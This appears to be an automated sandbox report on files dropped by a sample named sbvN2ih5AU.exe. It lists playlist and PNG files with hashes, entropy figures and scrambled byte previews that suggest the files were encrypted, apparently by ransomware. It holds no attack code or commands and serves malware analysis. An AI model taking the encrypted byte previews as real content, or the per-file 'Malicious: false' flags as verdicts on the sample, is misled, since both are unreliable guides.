Preview:	<?wpl9....\|.J.]J..T....r.Q....y..B.....1..c...:..{."k..o!n....h.x.R..M...!...4&....G..$.b........\|q."b._.....U..rp;.L.).`.2m.{..mt..e.....mX.'..37.\|..s..ubQ....n.A...i[.!.f..<..Y."..&5.Z...L..m...i.o.._m.vT4h.O.x......g.a..z..&...T.]..D.....1.{.bR...r.......I....L...+.n.4.t.Ox....C..m+.}...~.<o{..QT\.[............R...?...o..5.+....#.q^.......l...^.F...+n...o.#..0*...H?w..h.u......=..<y.n.!.%1.....T..:......."...\$\|.'.P..%=..[.V.KE.'..a1.5.Y.....n.D...]`..Q...w.......}.;F..}...DK..q9..0W.T...>..X...u...T... <..`..A.....C....V.3~"Z.5X.._......s0....r.U..}..~.Z}.'........\K>.1X.]....f.Y9..%{.x...J\|.^.N.!..,M..n9.7A&.Y......c...<.q.......\....E.O./\...y;.W0.A....}_3.....(...E.h(_z..rAU..Z=/.v....w.k..:..F..A.k..C..?..x.e.Q...[.d%.H"G.#.`.8..;.!....r.Sg.F."m..V...X.".......`.P.....KCz.Ke....-..F.)(.g[..{rE..0...T..4..$....K#.\...f..;......v.I69.8...Q...QR..L.....n7.S....1.W?..u....<k.[....cY...W.G..k...W1=...^5.x.APw..O..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\06_Pictures_rated_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	7.817628683779569
Encrypted:	false
SSDEEP:	24:hAWNT2y5LwrNyrn5ln8aaV9ENX7DsezxHBb0FDwNvFrnENlYwbER2bD:hjSVRRc7DsONZ0twlFbslXEqD
MD5:	287699B0BB9DBCFB7E3875806ED29811
SHA1:	6F3B7602F463E930C2344F4893964D3D531DFACD
SHA-256:	54D802833FDC19F5C97C70C12DE19AE19C073CF3FAF5C4F65ECBDB4AAB5AD357
SHA-512:	53858F68A4EB9AD3BDF701482347DADD4AF2A9F274650F94B29C3B58AE1D0F4AC278F4B2E7F974CE9840D0E2E91C901D7625FAF4BC985BC7A4580DD71E545D0C
Malicious:	false
Preview:	<?wpl..$/....VZ..M.M......BqF......"...E&Ue.....&.J...'lI;.......c........'..K...y.6P..].R.JP.w...>.Q..Au.......N....5...7..{....b.....QH#.5..."....2]d.Q0.f;.6 .....9MK-B..5..F.\|4.~....G..C>..Q.T.=.5...fX.Jf...82...T]K.B.....Rz...H....I....."mT_n.C2..zic.J..X.I...Hy...J..g.ah.jV........uO.X.#`..f.....K8..E.iy..G%..06...L.......(y..:...1B....bq..\...;...o._..B.8._.7.5....K..V....)..(M[.......0z.rA...r..4o[..&...A..P.I.G6H.8rn.,e....w+%.r...;."...r.....k...T.$q.J....V..L..d..........,..4.zM.`..K.J..'..c.s..k......p3\..?......xP+..G..e...Z....^E.{.!'.cu..T76...xo.}......9.@\|6{...,P.U..@....)~y.75M.!...B)..................W\|~...I+....o...F..Ue...RD...].ZLUE&.Nb.\|:.....D.k........=...MJ.....Mn.K......b)...T.L.......X..E#....S..C.%6EZ.<..,..NT.:.>BJ'..(.[/J...N4.B.F..O.s...Hnj.V....b'.\.e...e.#..".~k....`.X.}..H@..0PG.....Y.f.`.....ei....6fI.F..u.[r.k*2......5v........g..9.o.s...S..Q...#.Jd..t....^Sr.5......AI....R.;..6..hqW....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\07_TV_recorded_in_the_last_week.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	7.84318041268714
Encrypted:	false
SSDEEP:	24:lwdvohay24SZaBXeh8yv5FHF6QphLUrE9oPFcn7DtNo7fk82bD:lwvMjBOhpvjHJbUE9otcnVYfSD
MD5:	C4249E43696DBA5AFBC6B1A42FCBA26A
SHA1:	E6C922D8E559EA3F96DBBC12C22EF2C8E7292D0D
SHA-256:	FCD220F0D42A6F5BA7942A4D33CEA8E9DB4F183D7C4A3DEF49791819C93F7CF7
SHA-512:	FEEC6FFAB288B11A88C3E58F1A57D511C57C307942817F30276E2432BB058246CFC8BB3AA6376C74735C3D6CB71C5B8C528F870AFCFB635A25786C40F2D04FD1
Malicious:	false
Preview:	<?wpl..3>.4.+={J0z..=..8./Z-.4.n.M.....DzE..\|........?n4.R...w<D...C........w..M).=$>.s.#.d<...x..).+....gD...!.gv$.-J.ZX.....I.....I.{uWZ...+..\.'D..j.V=....GP..5...&..t ..G......SQ.\|B[....K(...[....>...{..L....p/..k.......8w2.?q!1.e..{..}h.z...!....w.....N..d.jfB]z..[q..~.7i.....'4...J.......Q!..6..>..?`.w....b..........G..0}h.e.I...+d.........S.fkR.B.w.-~Iy...^.P.<.+.q....cvR...#..B.K...N...A..Lm..i.t..m5j...DD.0.y...0.....~sM `8...u9.0p.7...O...[e....z..3.+>....L.\|Y1......%9...f....(...;..4{..D.q.&...X.i.8.3.w<.....e.<....E.Q....(_.B../fX.v..h.....Qw.F..._-.oJ...\|r.+........\.....).:yT uJ$`~.......[..;....B.e>x....`...'...B0........?$8.x./.7\..B....Yw.}..G0<..cT..>...W.3..t+L.c..$6i.N.V>..=..?.QX..4...P ..&..>"..N.}e.N"._pR..}.,\:e.j5q.........9....%..S.!.{..X39.....I.n.....t..E\tg^]g,..#z.cj.\|&.1TT...if.{.zw'h.TT...b.^....p...J.<.o...m.f...;..c....C....(....&.c...7 m3.{.....].;._#.\..U...a..<.Tp.aP.!M.~.j..Q.....Y..Ke7....z>lb

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\08_Video_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.842211489674122
Encrypted:	false
SSDEEP:	24:8nMFwqrchWM79nYRyncVdkGXmLMZlE/u6S2wOZ+2k54h+KnGHg4rCA2bD:u03ccjRccV2GXuM/8u0wOZ+2S4diQD
MD5:	4A1F6BE68B775B5ED854AFEA9F1A45E1
SHA1:	6FC61CD6A4BBD5C0F99BABE0ADC66468D522F73A
SHA-256:	76D5F42C41BBBABD3161F1D7860C1B700D93AA073AC620FAAF517A953DEE9175
SHA-512:	023B5166643F77B5D8553D30413381CC7B02774E0C13B97DEF26E60622254AFD9448ACDC99D06AE36F07DB30AA1BA76FBD6D5FD46B228BF7EB13E13781BEF7F0
Malicious:	false
Preview:	<?wpl$ .4...`..p..d...CQ..a...[W..B..V..9G..r`......p..&.@'&....#..A..cx...p.ngIAn...:..X.5{/\|...v.....ei..X.M.A.................Bq..^F.H.,Q.fn...T..>..^+..........!.zx1....}mQ.../......@...6q&....oY_.d..9.z.ZQ^..UC)\|......}...i..+d.?...Vr..p)+.F.._...i.8.f.`.Ls.{m[...1...[T...3p..w..4kqh...b}`..O..N.tJ..fB..).tM.-.o.<p-.\|@..>....4.\..w\|B..R..5...s.[...For.2...52..)[.......%.t.....9."....ud..G-........Z~.!l<...-5.)..Q.^j..<R.\"5....+...........#.[.>.......5.....aB=#BF.'Xs..r\|..=.#.K.............. 4Z.T.F.....Y?.....C..u,7f`..'.e..u..<3.....&5j31i........}.r.....^0.....j...........F1:Ml?......[........:<.y@.<G^.C0.D...=<-..._}...t...w..FC..a.x.C.......j.tr...3.'.I...t..aIj.-...TD..>m.K.o..f..s..G8.<..z.......@.ahp.l....%....L/S.K...c....."'.T..R.Y,.K..).8....C.[.t..x..Z.PY..9+._...A~eK.t.... 4D..*.z....,?...>.Z+..1TTu... Pw....:(........q...R~......k.m..n},^.9..G.1..../..Y..T..3.........!}....Z..G.t.@D.k4...T.a.)......N..L.1......V..W.b

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\09_Music_played_the_most.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.845212482685193
Encrypted:	false
SSDEEP:	24:SjkHHvTcjX7DaWbznJKLln5UxvFegZRlGxNDfpt9/HN0ne+WruTRKFSDOT2bD:SgvuDaWbzn4l5uvFPOpt9/t0jWru84ND
MD5:	972D41A338ED4BE11A9AA62101B57F9D
SHA1:	EF84B5708B64098F52282DB94E47C9EE0B3450F5
SHA-256:	428155718199A0C3464416353C96F8DE63C8B99EF8B6090BFB53530ABB05789B
SHA-512:	1815FB0C1D07406A2A0376B778798385BB3F455B839F016448DB8F3D56B6F752BF16D2E6AFB2F79232D3C6814ACAE566D7FE405B259412DFB6F378C42E39F9EE
Malicious:	false
Preview:	<?wpl...`./-Y.W..\|%.4...)...PKP.M!cG..z.E......."[.....#..`....9k.[_..H....9x.@.\|x5...l...i.6k.j8.vhz..Q$`......b.M>...0..e.ZT..H.Xw{..z.........s.=.....f.n.0p.?&.}..!:v.y.TCs.=.Fr..".c....{v..u..E.b^.#)...I..3.=T....J.o>..'....Y.FM.e4:4\=.c.V.R.2.d[#....?2........#D_.w.../.....)..a.8...bU..]1Y........&.......................1m^(.h.....~.....@.ql.9.W..H>p>.R{0+....'......._o.\|..@.}.n...:A.&...^.ZTLN./.3@d...`.Ty...D.d..D.du;Yu.S.l.......X;A............t....8'.we...Q.h.(W0..`'.2...:F.o..1z.Kz.....y.H:~3.zH{.....BK...?,L..&.a..S..k...SN.....g}.0..Lx.. ...".i.nh$...~<.B...u?.....c..w.ke...1..#k..`#.&...l..''..F.f.....I....,..m_.T.qe:..O.....5...............#....2.Z-.w.:.w.....9kw'Of...b@q....0....5...z...xD~..5.`S.I?..!..(...}...".D.....H.7.#...?.H.Q...O.%[.2%S...{J>.}'..;.@L..\|.b".L.....[.&I..@..2P.<.wD..C..&9+.9..X_DZ.Z.o..._.q..M.EX..h8q}.........pO....}..i.?....2....W..;J...Q..0.m&IN....."H..8.\...v!P....oY..{P5..L8b.?.C..Y..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\10_All_Music.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.869333416517551
Encrypted:	false
SSDEEP:	24:QMblR+dbV9GwoFHUC4+imJJbfpn6GG4Wmuy9CQwHjgISHq9Yhy23gV2bD:jbjMVkwoF0RcV0DM99sGHqahD3guD
MD5:	12D96D3F337555E8DEC784E0E554AA13
SHA1:	E6C5E18497DB1DDFF3303A9888DE1BCB56FBCEA6
SHA-256:	8BC89FB2996D6922BEC1625D500A7B3410C0C38F1A450B16D1F61157B212AB93
SHA-512:	59AAC1B19040F723D48245A74314E8B5AE6059B5BC78C20429DDBB5768F846F09BB2F27ACE3900C90055558AC8F293789C4BF7F49C7B03F3F3FF411389994961
Malicious:	false
Preview:	<?wpl..%...k.y..,..90a.r.5...v.7..6.s.wj........z.....s...b.YpMN.w..u..l.A.~R...Hx..5..B..A.Vl......U.}&....MhiJ..Q1.7.8K....<.r......jnL.h..c.b..V.R.@.n...]U.6...Ejv...F.>....#8.1.% N...../yLT.=D?...........&.k.\|..T.P.......TQl....@_7..1..Y/n..+.."..@..F%{.....a..% ...h...p.....q....m..w.....n.F9....Z.&.0O.P....o.Ddc.h....n..l.0kN/..XE;&.Lca..........E.T.....N,.bY.[PcU.4:..N.. ...e.V..,..:'.;...wb.^P....[v7I...ca.v..IVq.FE......7...I(.+~..."..@.[.....S:k&tZ..!.X.2..I..m..H.8.....i.u'...r.GC.4.l._.b.y...Q6.E....C.>.......3.(.i..7.6.../S.kS..)9U...7.=...Js.s.l....*.-......}........DY)j...../.......;Wu....'....>....7..._...Q.......7Q.....Z.....8..&TQ.9."8...6.2Hm...GX.q.............rB.Y.6........8J......ix...g[p..b?.1...\|.....IS.h.t.^..fOg"o^+.....=Y...xb..E.@@.~W.bu......9...T.eX..@.D...%v:#.V .j,../.t....H{].^....l^,.78.'3VM.-.......r_;.......0..!..N...t.....h../...SZk..I (.K..%.M..,1.....}..A..m.i.P...^..}~.......F7v\.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\11_All_Pictures.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.764385518203958
Encrypted:	false
SSDEEP:	24:yiJMKnYDV8pIzdnzYd1hYbMCzIupT46OzKzIcM2bD:/JMyYDi+dnzYdMRzBNRIcfD
MD5:	13C93A207C2DD13BD97E972FBAEB58D7
SHA1:	29107663FC41AFF3B17F3B822EA76A781E6FDDEA
SHA-256:	D3ADD68A5EB07B379205B78C4532CB4532D53234E55C094BF33333CA857D5ED9
SHA-512:	A4169C52AB9203AFA3EDF688DD990D9179B62E004F2C0F5FD2386A0224204CCCC531A5B89F101E5E9D58E355EC542FD7F53559F57536439FAA7AB07A1EDCB137
Malicious:	false
Preview:	<?wplt........\.81.qD.n.e$4.....K...uXf@._....I..O.9..=.6.O.<y..4:.b..@.s.....j.n........T.^....m..Cs.z...k.....J..y6D..\......x(V.X..h.{[.L(Ie.......i'.IV..4J.G}$..YR..XC.g'..m.#%)M........U......3.].3..~9..0.0..{..6..N..^#2B;..>0{.'g...;....9./..`.ZM{~i....w..F.....A.. .>&..d{..;.2...>DLH../.R..K...B..6.Dlx..X0.[w@........>K...c...s.a~...j..je....~B"#sq....{@..`.Hi...S..^.bm....(J'9..aq.}.M...z..t.8...v..3.7'.......`]\|..W...zX2R..o.`..OfM.a.r`..'\|/K..M.{_.?..2+....)...5.2..[...$..h.....#...0R/...4.........1..'.\I.......>.$.......T...iP....dG.....4C}`.!..V]qK....6h.k..<_."i...b`8......H0Lz}....SWF0v.>4.ij.S.>.&.OR...';.....!..~..g....}....T_...k.S.D..h..?...+j~H.bT.....<[.n..6.(!f.Z.]....Q.bO.+....Np..m1.....YU>..Q....t.x..).t<..........3..y[.l...x.c.....zz.[..$oo....}...mM....4....!.!.m...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\12_All_Video.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.870967683050239
Encrypted:	false
SSDEEP:	24:u+sOcB8xLE9SrRr6mja8/q83DJiwS+KrWjPjpXEnB2gmgfIy5hieQ9XXQB5QJA2X:+Su+5abNxr1ip9XY5QdD
MD5:	3FEF44249C6CE2F0134DEE139A24B7D7
SHA1:	D937CA8388D1FBD5FCB39B5D36A993FB64ACF42C
SHA-256:	3AC8DE049BC0377DC769DA68CF1FA3EC3AC5FB41E1AD98EBAF079868F4274A8E
SHA-512:	DB3507369117A017B0C91E9A22E5DEDB95881AB3721F27CDE8F9F0A6177A6A1371A30465641959A2A28264C86F7EEA119B1F5A2EC9C73C6374D36BD3A33849C1
Malicious:	false
Preview:	<?wpl...._.7.....,'.h...Ev=v.p.k..e.T4.Xi.-..0........S.......)}?.m......w.^.m=...i....'Q.....(...........,m.q......v....K>aL.@.M..1u.R....C_.N.G.Y...Om-......a.]P9YQ..L.....gJ........O...VI.X.W.....TH.. .8P/..Mi.y.......S..P...Wl.I.x..\|0.5...N..$Q..b..bn?.5.l.........\|o}.?.Bm-C... ..e....m\v.....R....v.c!..a`y.0.E%...q.Z.j..C/..#...5...!..:.7\|..P.N........)w(m.......w~0...7..y^y2...'.X..T..LL/....&..c6D.2....m.;..qR.......e...].o.._..,V..o.v#.g.1NB.....r...(B%E.{2..z.G..b@d......d.O.[.7a.h@i......arP..@<C...;.{'..M.4m.../....N....0..f..a.,S.etZ..&.`.V4...F...y...O:K.......D31.................u...t?ui0..Y.G8.-...kd.%..\|9...m.34,.{PBD.....f(...[o>v=.GD`r..z...i......h.+.\|.H...'.xMT...`.K..&P.ds.Y..."4.N...+.....^1ZA1.'lU..`..<..N.d.4.O.mp..o..i...k.%^..Mb.......g...Z...f.YH...}.{.eoE.W....6..?..[.g....bEt..A.%.-...eG.V.C.9.h.}..P+.^..^.N.i....j...'..z.E..jk...f.n...=T..S.x..$..1...?.;.D........<5..........5g$.e}......\i..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{45F61A7D-A745-417E-BD88-2FFDE87A6DA8}mt16400656.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	7.972078206077831
Encrypted:	false
SSDEEP:	192:vwheSlhztNUbSi3wBr4sixNHpDsgD882Qz:YheSlhztNUZAh4LxNHpDsgQWz
MD5:	67413440933FD6AC8EF3C351E01A5263
SHA1:	97BC54FD33D8A05C5D477732FCE329173A1C06B1
SHA-256:	FBD2277F9226E12F76DDAD7546475F3BAA86989570B7AC0A3537746DC61F49D0
SHA-512:	AB7E7E1B1B34EF753B8B4A2A4266CF5B64F0D9614C2535E3818274CD91EE95979D3ED3BE0D036D23809A0C7DD53FAAA31B989CDF2A544901D6407D7CAA861DFC
Malicious:	false
Preview:	.PNG.s.\..Hs..8..O..@..@.KZ.{=[P..q.:...$..al...Y....i<LG3........(..Q....#..I.IJ..FB._.k...P.. .k/...q...N.>...avpq......7.97.\.Q#7..S~.[..4.\|.......'...Twh...%..6...K.tO_.x..f0x.vl.XM,..r...t........av.`....7.N.L....W.T..#.......LbG%h.n.o.[...Ku..v5..j.....\..y.\ty..+[^.........m....Ye..eF.Y....=..k..v4.....@...yX5..W '.4d_..#....\|......>...aQ.."..5.C..^&.....5...........8..Ke..L.......T.W.+.,7~#...Z..S..../>4).2...!..mH,s...(n..@g....m._kjM0Z....n..z>.n...F#`w."R2....~..NL4.......%..[..W=P.......R.P...x..V...i`.B.pM.6...E....,@+,L.......r..\|.$.~.'e.....I5X.0.U9..^...#....p..hP.)...f...n.u.eu.e....-...Hm].....P.Cvbr.E.[.. ^hG.i.3...........=.R.+..!0>B..@C.wN..U...R.Y.i.....B..o....c..s..Jl.........qpQ......W..6..S.3.}x......".5^....`v...+.../"..w......tjf.....A....~....S...Jc]...X....2.C.&.}..........JHP...Zp.E[..x...p..e..~.C...5......>.8c.\.ln...{<M.P.w/.....y G.J..$.-.l.d.......~.^.Sy~.A.hl5......vI......6.r...kB....i...V....(s.{1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7B3AF8A2-A95D-4447-ACC9-7895C91C2D45}mt16400647.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	7.973522824701083
Encrypted:	false
SSDEEP:	192:OoPLKeOokMbHZRVpmdAtk6UccqPc22P0N7DG1kN:bzBfkMLtpmdBh3/2c0NGQ
MD5:	6262BBBD6044A7194AB15888DCD765AE
SHA1:	7785382A0BEE79B9A8B02F774DDCC53E7C49744A
SHA-256:	AB7C929223053FF79989D95564AC85183CF7FBD02CFF989A09BBB242E908C62D
SHA-512:	B552D38329375688D6CE61602E7369BF3B850169DA0535E9D31A6A50D828852F7B111E8C26A9BF1788A217FE36E5148BC67258EA03154D756E48213D5F5784ED
Malicious:	false
Preview:	.PNG....^....Z.\|...TGE.. .<...........g.<G`W...s....N..b.\...&.Z...&....k...p.3.T.Li.2.2...z.>Fx...w..........C.?....B..../.G.^...S.......B........2. ]B.m...i...[.Ko."y.`....g.y..7-..~.....y..8B.-..N\cp.M0..(S.Hx2.$....<..eu...$...;.K@(7.\.'\|O#...x_..G.....I./=.W..F.X.....4{.U9k.....i.....`.....l.GE..}kA#.........#...MG..N!..o.D...X.....o,..S..o..WM$...5.../.'.w+.~3.P..b&.`.SZ.,..N/.. ....al...c..wm..(.......W....~.t.2L..S..Ju..Z.v.y..S..@)..b....{..GK.T$M.I.dzyh.%.K...G..u=:........26...~.w-d..k.E..A.kJ...1..)..o\|.MH...n..RS...<2.K.D.~_nk..Jf8.~_..r.&z..N.~..P.U..f.3.g..2.... `...>=&:.;.e. ><..m=....M[.FB.i....e.{...GFQ.P.0-.3.P&.&....=..e...R.....D..\|K..Y..;.J....D9....\T>..Q.\|..>..U.._ ....5.uC..g.\|..>.2...)"c.V;....ii.c..9..~v4.V1........5E.......Q.S...Vy-....;..4Ox.`..%...8.]............pl..&%.v..V6..i..][w.av9..0.g .....&.._7..y.../..1.=...,...IJ.c...igX.T6.=..........X....."......L}..G..qiO..YzR.d..T..<2d.T&......@e........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7D2AAE1F-E21C-4042-8EAB-08D27101C10B}mt11414620.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	7.98069154818702
Encrypted:	false
SSDEEP:	192:p5pIZcGbQYDPNHtfnf0L+ouC5c+TAGwVusdKfPZM8ly/:vK88Nc/tBM5us+dy/
MD5:	B4396B3317ABC73547CC68C737E876F8
SHA1:	7684E5BF0EE7F73061957CEEA12410DF7CD5BA80
SHA-256:	1DB4C64E101B6231D82189D5D0F45A3AD266BA1A81D18D01CE0EF18154B106B8
SHA-512:	516FC103CA47DEC893CBCECAE0756E680D2332450D59C4B0E7BF6BD454C9215F75F30432D30EA0E8662F898143161BB80C4A0F0D46FD53E6F48C89EED04A2F91
Malicious:	false
Preview:	.PNG..+....,o..F.>Px...#5.....m...v_<.H(M.`...E...5[..E.....)..%.J.....L.P..:.#.Z....UM.....\|...+.;.'.p.uS..{..\`jJ.x...(/...N.. e4.U{.a..S..l.[.%.6.E...-1..J3.5Rq.$..t.^YK..Y.KU$9t..Z.T.Q.C..v@.'...pfac.\|......_.5....Y.qS......_/.%Yf...u....s.@..t:X...~.rEJ.0.B..b......N>.._@.N....z.x?1.]..N2[..NLPh8..)....-...T_....Fdn..-$..".}.......,......;z....e.I.!w..p.2+Y.~..'m..jE.n. .(.[u.Q.;.>X..F.g.....z..8~.#V...$.=.........#.w8...1....>"..i..D.O....4P.f2`..n..pT.>.yGE.o.z.'.$[+.a.>.q.....v\nZ..gp...k.u{.s........Z.QC...s.b....W.-........N....E..m...U..(......4E.7..r..q...P....~i.Dg..$.F.7O...F..`y./.5...kA..[b,..M..<......K\|M..%.=q.+$}g.j..S-....J....W.V......T..gn..r....\|....#.%&.o...)...s...P..Kv......+....8........)A......w.h....G"..(.....]...G.3...&.y..kTH...Qm.....>...(....=.~.!.K.........F.^.b...0.Y...+.v.&.$.T..p.......@....Q./.I......m........aM.'7.0l..Z/..E.p......_.H'.r.!?....dp..~./O.^.9c.@Hl9...Y.z>T..:6...@..".."......~..m6. .....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{967E9DC2-54C6-4D72-9409-715F9A3F61E5}mt11829122.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	14457
Entropy (8bit):	7.986917374441812
Encrypted:	false
SSDEEP:	384:TF95BAJ3Om7m9+pph5GPzCBEZ6ThboOhZyid8QZMWTdGm/GgR7:TfocR9+ppbGZIyM7dgU7
MD5:	E5BFEDC2740168AA1C9F3A3FC08FD091
SHA1:	35DF63DB542EF2057C875A30DAE6D77B52F653A8
SHA-256:	17F86EB8BC88A9C821E94EFF78D40F4CAE21D8D8A7E7308ADF1C7532EDF9F2CE
SHA-512:	8D4A1293A8652F501DF77E3C0460865772441257A538E609500D79CA260BC94F6B030BED6174F4CA0D18066FB25D5C1A806D2D5FC237B20997C18DB9C2933C6E
Malicious:	false
Preview:	.PNG.X%.Q...-. .....j...yhW^.....p--.o.H.g7......o...d.m%q.q.5.v..e...R/.VP.Y.])...J.?.S.).k^...J.%.P.vJ...j]....Q...e./.D...`4..^.~h.c.....%......w.l.yj..Rv.L..$.a.?...................L..Fu.{g..0...m.\X`.:.......H..6..0,..'Y~..P.z.$....Z..WD,..'...o5...U...a..j..r9V...H...l\|....f8.[T@.. Y.<.@.....%>...o...^M.....&K(h])Qw.....kS=...h..S.FQ. B..!.6..I.p.u................#5"x.X.?<...?......&.[L.....'..!..x.f\|j.P.7i$T.........c...]..>..+.a3.u.w..c.9<.L...{64..c...W.D.......w.45.....+....7..............l.......:1.:...b.R..?.P......9).w.~.....G..v..b....`]......8N..D.RpD.........3..PF...Xn....K..../.'h......E..:A.G........,R".#2T....p..b....'+....h.Y..m.....2.\.O...u.L*!@...q..7......./..L).:...I...v...X...V@kq...{s.SXs..z...;...)4....@.......;..9..j..l...n....<..b..u.Y.kVbg_....[.....O......-.j...K...."cT.\|[.....7-.Q...l....v..q..&. .a..MO..@...o.2~.Pm...V...C.8.^...t..W....P.?...fB.I[.H....l.D....5..}.s..."V.....I..)I2o......bI.>[P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{A4858C46-92BF-4775-ADF9-F93EB4C5F636}mt66963475.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7986
Entropy (8bit):	7.9763559695671
Encrypted:	false
SSDEEP:	192:pWXjHQ/h+U9t93mUSWVqcPfAVUjQabxgOCYrj2w9oMPxJ1:AXLQ/h+U9tUhWVNIGjQkgWvx9oMPV
MD5:	4F5DBDCEE49BE5D2F420A65B067BFA33
SHA1:	C0C67D8EAC66E87A909534A668D25CE5F9BFE5EB
SHA-256:	B57AB683BFE512B00D47EE318E2695610FCD81CBB9A385CEBFAECC9201E43BE4
SHA-512:	43B58D3F60E87B74E1B36BD9710F051D3F92AD4F62B8F3A3BB4EE04CD6E9F1A95B5299EC24A36CA35B1ED076F366AB183A1AF6A15E6298A63B9B9352BDEA4F53
Malicious:	false
Preview:	.PNG.Y.:e.g..ci ....^..ir.U..8.q.K..`.7.Dg..bE....g8.s'..C...V.U.'..3....b...=.c7.L...3.....-.\.A.c..0U.d.u....Y......E.V...?...lq.....f.Z]..@..I:......o.......I.r..c.......&0..~..A.....;:...\.e.....GR"...F~-H..o.=8.4i3..@.Y........eZ(...Tg.a;fhu)..h,.`.[\.......@.@"HL......,..%'Y.{....d...=X..[.<..0.S?.1P....J.M..m..Z.....q4B.r.O......Y.~..c6.....pgRP.........:.>.>..,...}.XWHq....3.3.{\|\n...k..\.=I.Lo..d....!+...JC....zC\|..q...Sn#.\ns.G.6lW`....K../..^.N.E...s..u.. ......l...\|..6..;.....-.......x.....\[9...>..@....+o%Wq0...Z ...l.z}.8y.$....._....L.E..2.$.m....g.V9..6[..E"F.<7XW.H...qK.&gk..i..~.....TP<.Q...=>x...j...\|.0..YWp...2.......;..HD?...XD...U.G.....Q....a.g>dmu..:lF..H..=.M....v4A...4.YAy..".P.p..0......P+..1.G..{.....t..3..F.F.Z(.1.........j..S.XD..........1m....=.....>..{..-u.\.+`..]....b....k.:.=.U.P.)>j.-.s.......y........A.,~O.g*:{W~ !.+.Ra..0....2L5.'........)+...}s;..+.K7.V.1.]...w.4.....!.\|$.5...mF..)..C.7.8..$n3Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{AA4547C7-FE83-48AB-9053-3A60F16A4C34}mt10000137.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	5293
Entropy (8bit):	7.9591242949536
Encrypted:	false
SSDEEP:	96:MQdRGh9DJIcKg6siixytavPJs2deQ0OD3ic5EDrDViLvFqZlZ+MFbGRulV:PdQh9DfytsPXdD06nmDrDhZbfGRuz
MD5:	4DA6CDFB137F9AF7FE11E798FBFB80F0
SHA1:	54EC37F7F1133A3CFF29AD089466CAC437BDB794
SHA-256:	CC8BC5D2DA88A5F986F21F240E1F73973151E39FD1DFF9CFE1B7C373CB680EBA
SHA-512:	551587172729F7CC438C0378D59FD4DC2E2A043D3657E52D1A5CA347F580B21E996D1E700781558D86B9D1327C2C2426D606EEF4B01D3E16E7D94E7FF72B8943
Malicious:	false
Preview:	.PNG...."....Q[i..u...@..7....x.\|...S..k.{..x.X..XS.^..%...l{.U'W.i.n..2.A...v...............e...-3..'+..V...~y/.C.,6b......h....._.....'!.\|...(...g..=M\.>h....$...QC9..o...I..o..F..z.3)Mw......I;v.J/H9....p,....4..\..I..F..Lu...Q\Pi...9..;W.K8..e.q.`0.E.>N.A~.;%..N..}.3...:...d`.C$Q\|..`W.b.V....-....~...9.\0q....\|./...;G~.3..2..^.......>.ZB.>. ..X.....!..ZJ6..ZbL-..[c.......q...,.dy.p..u..R..%6PM?.A.G......Q.V..>=...=)t..H5s....Q8(f.+..K...Wr.."..?.....X~e.A.q.@.5..ag.P..nR'.w..".E...)..,6,C....z....V....k.76SJ...4..:.4...7{..Y+.i....K..j}.-.O..LG.K.o.+,(.Lk..C...)\...a($. .....IU"`}.[..(.3.=:...b1..ze!&.x.A>.........".....?.J.=a.2J.k.\|..9.I.oh.O..s.2q..=x.%.9.A.E'4q..%.m..@..K..rw...^..Y3.."....3).H..u..z....i..;Ga..Sr...ia+...b.".."RC...r.&...C.N..f.4.Y.....Bh.......]%....Ig..S...S. ... 